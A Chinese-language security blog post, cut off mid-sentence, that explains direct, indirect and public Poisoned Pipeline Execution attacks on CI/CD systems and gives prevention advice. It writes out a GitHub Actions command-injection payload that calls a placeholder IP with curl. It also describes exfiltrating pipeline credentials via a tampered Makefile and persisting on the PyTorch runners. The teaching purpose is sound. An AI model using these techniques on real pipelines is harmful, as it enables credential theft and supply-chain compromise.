背景
本研究并非旨在揭示新的发现或方法,而是遵循类似路径并验证该领域众多其他工作的发现,如OWASP基金会和Xygeni的研究。作者通过完成https://github.com/cider-security-research/cicd-goat靶场中关于特定攻击向量的实践,亲身体验了这一过程并得出了自己的结果和示例。完整资源列表可在博客文章末尾找到。
持续集成和持续部署(CI/CD)管道彻底改变了软件的开发和部署方式,使组织能够以前所未有的速度和效率交付更新和新功能。然而,这种加速在安全行业并未被忽视,攻击者认识到CI/CD管道在软件开发中的价值和重要性,不断寻找新方法来渗透这些系统并实现代码执行,从而获得通往生产环境的清晰路径。
过去几个月,行业见证了针对CI/CD环境中错误配置利用的应用安全攻击显著增加。此时,您可能已经熟悉SolarWinds构建系统的入侵事件,该事件被用于在数千客户的数字环境中传播恶意软件,或者著名的依赖混淆攻击,通过感染构建环境影响了数百家公司。
两点是明确的:(1)公司通过采用强化的安全控制措施来提升云安全态势;(2)过去用于访问系统CI部分的技术执行起来越来越具有挑战性。这迫使攻击者找出其他方法来管理CI中的远程代码,而无需事先访问它。
在本博客中,我们探讨这一主题,研究三种类型的管道投毒执行(PPE)攻击,探索利用这些漏洞的方法,并讨论此类错误配置的预防措施。我们还将深入探讨攻击者使用PPE攻击在CI/CD环境中实现远程代码执行(RCE)的真实场景,并解释如何预防这些攻击。
理解管道投毒执行(PPE)
PPE攻击发生在威胁行为者能够通过将恶意代码注入构建过程来修改源代码管理(SCM)存储库的管道逻辑,从而“毒化”管道并迫使其作为构建过程的一部分执行恶意代码。
尽管PPE攻击多种多样(直接PPE、间接PPE和公共PPE),但仔细研究最近的事件可以发现大多数情况下的一致模式:
-
攻击者通过窃取凭据、利用漏洞或操纵访问令牌和SSH密钥,主动获取对SCM存储库的访问权限。
初始访问可以通过多种方法实现。例如,以下是我们安全演练中探索或观察到的一些途径:
- 具有低级别访问权限的恶意员工可以绕过分支保护并破坏管道。
- 攻击者可以钓鱼访问管道的员工,随后毒化管道。
- 攻击者或低级别员工可以发现允许他们破坏管道的GitHub凭据。这些凭据可以在环境变量、代码存储库中嵌入、云配置(如Lambda环境变量)或EC2实例中找到。
-
一旦攻击者获得有效凭据,这将允许黑客对存储库进行未经授权的更改,无需进一步批准或审查即可启动CI管道执行。
-
最后,利用这些新权限,攻击者直接更改决定管道命令执行的文件,从而获得对受限资源(如附加节点、存储库、内部资源和敏感凭据)的访问权限。
当管道落入攻击者控制时,他们可以在其范围内执行各种攻击。最明显的攻击是对代码进行未经授权的更改;例如,在被利用的存储库中后门代码,以攻击使用与受感染存储库关联代码的任何人。
尽管这很糟糕,但影响往往比这更严重。通过访问管道,攻击者通常可以获得管道中使用的所有秘密。在许多情况下,这包括云和工件凭据,意味着攻击者可能获得对组织整个基础设施的完全控制,或者毒化组织的所有软件,而不仅仅是一个特定的包。
近年来,有几起高调的网络攻击利用这种技术破坏了各种组织的安全性和完整性。其中一个例子是2018年5月针对Docker Hub的攻击。在这次攻击中,黑客成功入侵了Docker Hub的软件开发管道,并将恶意代码注入公开可访问的组件。结果,他们未经授权访问了数百万用户的敏感数据和凭据。
另一个众所周知的案例是SolarWinds攻击,影响了众多组织,包括政府机构和财富500强公司。攻击者通过注入恶意代码来利用Orion软件中的供应链漏洞。然后,他们将此代码伪装成合法更新分发给客户,这使他们能够未经授权访问受影响组织的系统,从而窃取敏感信息。
直接PPE示例 - 利用不安全的GitHub Actions检索账户凭据
典型的直接PPE场景发生在CI配置文件与正在构建的代码共存时,授予代码作者对构建定义的控制权。在这种情况下,攻击者通常通过从分支或分叉创建拉取请求(PR),或直接推送到目标存储库的远程分支来更改CI配置文件。
此操作通过PR或推送事件触发管道。通过将恶意代码嵌入CI配置文件,攻击者有效地重新定义了管道执行,在构建节点内获得命令执行能力。
我们经常在GitHub Actions中遇到这个反复出现的问题。虽然这些Actions旨在简化构建、测试和部署管道的自动化,但如果配置不正确,可能会带来额外的安全风险。
在GitHub Actions中,工作流通常配置为在响应特定存储库事件(如拉取请求或问题评论)时自动触发。虽然这种自动化是高效的,但也容易被利用。
这些变量经常在这些工作流的表达式块中使用。如果不谨慎管理,这些输入可能被操纵,可能导致命令注入漏洞。
例如,考虑以下工作流,由于直接在shell命令中使用不安全的用户输入,容易受到RCE攻击:
|
|
这个特定的工作流将在每次对问题发表新评论或发生PR时执行,并通过github.event.comment.body
获取信息。
执行时,pr_commented
作业运行并执行每个定义的步骤。在这种情况下,漏洞包含在行echo ${{ github.event.comment.body }}
中,该行可以被利用来注入有效负载,例如") && curl https://IP_ADDRESS/
。此缺陷允许攻击者控制任意命令执行。通过利用此漏洞,攻击者可以尝试窃取存储库秘密,甚至获得对存储库写入访问令牌的访问权限。
需要考虑的是,这些令牌在工作流完成后过期,一旦发生这种情况,令牌对攻击者就不再有用。攻击者可以绕过此限制的一种方法是通过将令牌发送到攻击者控制的服务器来自动化攻击,然后使用GitHub API修改存储库内容。
在这种情况下,避免GitHub工作流中命令注入漏洞的最佳实践是将表达式的不受信任输入值设置为中间环境变量:
|
|
这将把${{ github.event.comment.body }}
表达式的值存储在内存中,而不是影响脚本生成。
此外,使用最小权限原则也可能大大减少注入漏洞的影响。每个GitHub工作流都会收到一个临时存储库访问令牌,也称为GITHUB_TOKEN
。这些令牌以前具有非常广泛的权限集,包括对存储库的完全读写访问权限。GitHub此后为工作流令牌引入了更精细的权限模型,新存储库和组织的默认权限设置为只读。然而,由于旧存储库中继承的默认工作流权限设置,大量工作流仍使用写所有令牌。
间接PPE示例 - 利用Jenkinsfile进行秘密外泄
直接管道执行投毒(PPE)的一个前提条件是CI配置文件与它构建的代码共存,可能通过构建定义授予攻击者对存储库的完全访问权限。然而,有些情况下并非如此,例如:
- 管道从同一存储库内的单独受保护分支获取CI配置文件。
- CI配置存储在不同于源代码的单独存储库中。
虽然这些场景可能看起来不太脆弱,但攻击者仍然可以毒化管道。他们通过将恶意代码注入被管道配置文件间接调用的文件(如Makefile文件或管道执行的任何其他脚本,这些脚本与源代码本身存储在同一存储库中)来实现这一点。
与直接PPE攻击(攻击者通过直接向管道定义注入命令来毒化管道)相比,间接PPE涉及攻击者针对其他工具用于执行其工作的文件。恶意代码在管道触发且特定工具被调用时运行。
这种漏洞被利用的常见场景是在Jenkins软件中,尽管这种攻击向量以及其他攻击向量可以应用于任何CI解决方案。
对于Jenkins用户来说,理解对Jenkinsfile的控制是一个关键的安全方面。这种控制使得能够执行各种系统提供的功能,例如加载存储为环境变量的凭据(即withAWS
、withCredentials
)。这种设计显著降低了攻击者提取敏感信息的机会,因为这些功能不能直接调用。然而,有权访问CI配置文件的攻击者可能能够插入恶意代码并外泄任何环境变量。
具体的攻击向量取决于阶段在Jenkinsfile中的定义方式。为简单起见,我们的案例研究将重点放在通过修改的Makefile容易受到攻击的阶段。以下Jenkinsfile作为我们的示例:
|
|
在我们的Jenkins过程的make
阶段,我们遇到了对withCredentials
函数的调用。此函数使得能够以独特的方式利用各种凭据,本质上定义了一个在步骤范围内活跃的环境变量。同时,我们观察到make
命令的执行。
此命令负责解析和执行Makefile中列出的指令,该文件与Jenkinsfile位于同一工作目录中。
例如,假设我们的Makefile包含以下内容:
|
|
在这种情况下,make
命令的执行触发了vulnerable
规则,该规则执行curl请求。此请求在其Authorization头中包含环境变量PASSWORD
。
具体来说,管道配置为在针对存储库的PR时激活。这会触发从存储库获取代码,包括任何被篡改的Makefile。
管道根据主分支中的Jenkinsfile配置运行。当到达make
阶段时,它使用withCredentials
方法将凭据加载到环境变量中。随后,执行make
命令,然后处理插入到Makefile中的任何恶意命令。
在这种情况下,攻击者只需在Makefile中插入一个简单的一行代码:
|
|
上面显示的命令将所有环境变量发送到攻击者控制的远程服务器。这包括在内存中加载的PASSWORD
令牌。
公共PPE
到目前为止,我们已经讨论了直接和间接攻击向量,这些向量需要访问托管管道配置文件的存储库或管道命令调用的其他文件。通常,只有组织成员拥有提交更改到存储库所需的权限。这意味着攻击者可能需要在能够与存储库交互之前危害用户的账户或令牌。
然而,在某些情况下,PPE攻击可能对任何匿名用户都可访问,前提是存储库允许外部人员通过PR或代码建议做出贡献。有些例外情况是贡献者必须首先有一些PR被存储库维护者批准,但之后,他们可以在没有同行评审的情况下提交进一步的更改。
在这种情况下,如果CI管道执行由不受信任用户提交的无人监督的代码,它就变得高度容易受到公共PPE攻击,攻击者可能获得对内部资产(如私有存储库或管道内配置的凭据)的进一步访问权限。
这种类型漏洞的一个很好的例子是John Stawinski和Adnan Khan在公共PyTorch存储库上执行的供应链攻击。PyTorch是世界领先的ML平台之一,被Google、Meta、波音等使用。这是黑客和国家感兴趣的那种目标。
在这种情况下,PyTorch使用了自托管运行器,这些本质上是最终用户托管的构建代理,他们在自己的基础设施上运行Actions运行器代理。默认情况下,当自托管运行器附加到存储库时,该存储库的任何工作流都可以使用该运行器,包括来自分叉拉取请求的工作流。这意味着任何人都可以向公共GitHub存储库提交恶意分叉拉取请求,并在自托管运行器上执行代码。
如果自托管运行器使用默认设置配置,它将成为非临时自托管运行器。因此,恶意工作流可以启动一个在作业完成后继续运行的后台进程,并且对文件的修改将持续超出当前工作流。
发现这些漏洞后,研究人员制作了一个有效负载,通过安装另一个自托管GitHub运行器并将其附加到他们的私有GitHub组织,在自托管运行器上实现持久性。因为恶意运行器使用与现有运行器相同的命令和控制(C2)服务器,并且创建的唯一二进制文件是官方的GitHub运行器代理二进制文件,它绕过了所有EDR保护。
一旦研究人员获得了稳定的远程代码执行,他们就获取了具有写入权限的正在进行的工作流的GITHUB_TOKEN
。使用此令牌,他们本可以上传新资产,声称是预编译的、即用型PyTorch二进制文件,包括包含运行和下载二进制文件说明的发布说明。
但这还不是全部;他们还设法检索了几组AWS密钥和GitHub个人访问令牌(PAT),获得了对PyTorch组织内93个存储库的额外访问权限,包括许多私有存储库,以及对几个存储库的管理访问权限,从而提供了多种供应链漏洞利用途径。关于AWS密钥,它们提供了将PyTorch版本上传到AWS的权限,提供了另一种后门PyTorch版本的途径。
防止组织遭受PPE攻击
到目前为止,我们专注于管道投毒执行攻击向量的特征和变体,但让我们谈谈如何保护您的环境免受这些类型的攻击。
还值得一提的是,根据用户环境中的SCM和CI系统,将有多个设置和保护机制可以进一步加强整体安全态势。以下是我们防止组织遭受PPE攻击的首要建议:
- 确保管道仅具有执行任务所需的凭据访问权限,并定期审查这些权限。此外,您应该记录、监控和管理访问以跟踪所有管道组件和资源。这将提供所有级别的可见性,包括基于角色、基于任务、基于时间和基于管道的访问。
- 设置访问控制列表和规则以控制哪些用户可以访问您的CI/CD管道。撤销不需要访问的用户的